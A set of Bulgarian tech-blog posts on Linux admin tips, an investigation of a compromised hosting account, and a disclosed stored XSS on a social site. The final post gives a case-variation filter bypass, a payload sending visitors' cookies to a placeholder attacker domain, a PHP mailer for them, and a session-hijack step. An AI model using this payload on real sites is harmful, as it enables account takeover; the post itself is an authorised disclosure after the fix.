За целта използваме командата “pdfimages“, но първо трябва да инсталираме това:

apt-get install poppler-utils

Нека нашият PDF файл се казва test.pdf. За да изкараме картинките от него, използваме следната команда:

pdfimages -j test.pdf img

Това ще извади всички картинки от PDF файла като .jpg с префикс “img”. Пример: img-001.jpg, img-002.jpg

При поредната проверка на пощата ми, чета писмо от datacenter-a, в който се намира една от машините ми. Там пишеше, че ако до няколко часа не разреша проблема с машината, тя ще бъде спряна. По-долу беше обяснено, че от нея има изключително много изходящи конекции, които flood-ят суича, към който е вързана машината.

И така, започна се…

В началото трябваше да намеря кой точно е процеса, предизвикващ въпросните конекции. Използвах ps auxw за да разгледам процесите, които в момента се изпълняваха на машината. На пръв поглед нямаше нищо необичайно – ftp, mysql, apache, ssh и още купчина други, с които няма да ви губя времето.
Но един от тях ми привлече вниманието, а именно /usr/local/apache2/bin/httpd. Нищо необичайно, нали? Всъщност проблема е, че моето apache се намира в друга директория… Ето и заподозреният

От тук нататък ще използвам прякорът “сивчо” за да не разкривам все пак за кой сайт става въпрос

Забелязах, че въпросният процес се изпълнява с потребител “сивчо“. Това означаваше точно две неща:
1. Машината ми не е root-ната. Тоест, мога да си я използвам без да е наложителна преинсталация.
2. Някой, някак е успял да хакне акаунта на “сивчо” – лесна парола или остарял РНР скрипт.

Първото ме успокои… пфу!

Започнах да разследвам “сивчо” и да видя какво е правил в последно време, но преди това заключих цялата му директория за всеки случай:

chmod 0 /home/сивчо

Използвах командата

find /home/сивчо/public_html -mtime -30 -o -ctime -30 -ls

за да разбера кои файлове е променял в последните 30 дни. Тук ударих на камък – няма нито 1 променен файл. Това означаваше, че скрипта не е писал по файлове, принадлежащи на “сивчо“… пълна мистерия…

Видях кой е Process ID на въпросния скрипт и отидох да го поразгледам. Нека кажем, че PID е 2012.
Влязох в директорията на процеса:

cd /proc/2012/

Исках да разбера, кой всъщност е файла, който се изпълнява зад този процес. А именно, на къде сочи exe файла. В случея – към root директорията “/“. Пак удрям на камък.
Исках да видя коя команда е използвана за да се стартира процеса, като погледа съдържанието на cmdline файла, но и той беше празен. Камък.
Погледнах в директорията fd, за да видя по кой файлове пише и чете процеса. Там имаше само сокети и apache error log файла. Това ме наведе на мисълта, че може би щях да мога да видя кои други файлове са се стартирали от потребител “сивчо” и евентуално да разбера точно в кой РНР файл е дупката за да я оправя или да предупредя клиента. Нямаше нищо. Погледнах и в лога на suPHP, но и там беше празно.

Отидох в /tmp/ директорията, която също се използваше от процеса. Там видях доста (десетина) скрити директории, принадлежащи на потребител “сивчо” и един странен .tgz файл, който при опит да разкомпресирам върна греша. Предположих, че това е самият “вирус”.

От тук нататък, изчерпан от идеи, реших да не се занимавам с ходене по следи от трохи, а просто да реша проблема. Убих процесите и изтрих скритите файлове и директории на “сивчо”. Това реши проблема, надявам се за постоянно. Все пак погледнах в /var/spool/cron/ да не би случайно там да има рестариращ процеса скрипт, но всичко беше наред.

Заключението ми е, че може би сам съм пренесал вируса от друг сървър при смяната на машините, която се случи преди известно време.

sysctl -w fs.file-max=100000

Ако искаме настройката да е валидна и след рестартиране на машина във файла /etc/sysctl.conf добавяме следният ред:

fs.file-max = 100000

За да проверите дали всичко е наред и правилно запаметено, използвайте следната команда:

blagomir@firefly:~$ sysctl fs.file-max
fs.file-max = 100000
blagomir@firefly:~$

Как става това ли?

blagomir@firefly:~$ cat .ssh/known_hosts | wc -l
46

Отговор: 46

P.S. Като се замисля май не са чак толкова много…

При настройка на бекъпа, в “Destination and format” карето, избираме директорията, в която искаме да се прави бекъпа.
До тук всичко е супер, но ако искаме и бекъпите автоматично да се изтриват след Х дни, трябва да напишем директорията така:

/my_backups/%y/%m/%d

Екипът на BGTechBlog.com Ви пожелава Весела Коледа и незабравими моменти с най-близките!

Практически няма софтуер, който да инсталирате и да Ви каже дали имате изгорели пиксели по монитора. Най-добрият вариант е сами да разгледате монитора си обстойно, като в помощ идва този сайт. Технически сайта не прави нищо друго, освен да ви показва подходящи едноцветни фонове, на които изгорелите и блокирали пиксели да се отличат по-лесно.

За изгорелите пиксели спасение няма. Намирате ги, грабвате гаранционната карта на монитора/лаптопа и се връщате в магазина за да Ви го сменят.

Теоретично, заспалите пиксели (stuck pixel) могат да се “събудят” като се “бомбандират” с различни цветове за кратък интервал от време. Аз лично не препоръчвам да се опитвате, защото ми се струва загуба на време, но все пак ако решите, ТУК може да намерите софтуер, който прави точно това “бомбандиране”.

И сега, за да не се опитвате да го правите отново и отново, трябва да знаете, че проблема вече е разрешен от програмистите на сайта и дупката е затворена.

Какво се случи всъщност…

Както се “разхождах” насам-натам из сайта, реших да проверя какво може самият сайт (това ми е професионално изкривяване). Без да искам се натъкнах на съвсем елементарен начин да инжеркирам JavaScript в описанието на профила си.
Профил -> Настройки -> Описание и там написах следното:

<body onload="alert('hello world');">

Тъй като не се получи, опитах нещо друго, а именно:

<body oNload="alert('hello world');">

Забележете, че тук имам главно N. Това се прие от системата и всеки, който отвореше профила ми виждаше това, което съм написал в oNload таг-а.

Реших да си поиграя още малко (межувременно чаках отговор от администраторите на kefche).
Използвах следният скрипт:

<body onLoad="new Image().src='http://XSSATTACKDOMAIN.com/kefche.php?c='+encodeURI(document.cookie)+'USERNAME__'+document.getElementsByClassName('wlink')[0];">

Тоест, взимам всички cookies на потребителя, който разглежда моят профил заедно с линк до неговият потребителски профил и ги изпращам на мейла си:

kefche.php

mail('mail@domain.com', 'kefche sess', $_GET['c']);

После сменям моето PHPSESSID със стойността на нечие друго потребителско cookie и на следващият клик се озовавам с неговият акаунт

Инфо: след като оправиха проблема изрично съм поискал разрешение от въпросната администраторка за да публикувам тази статия.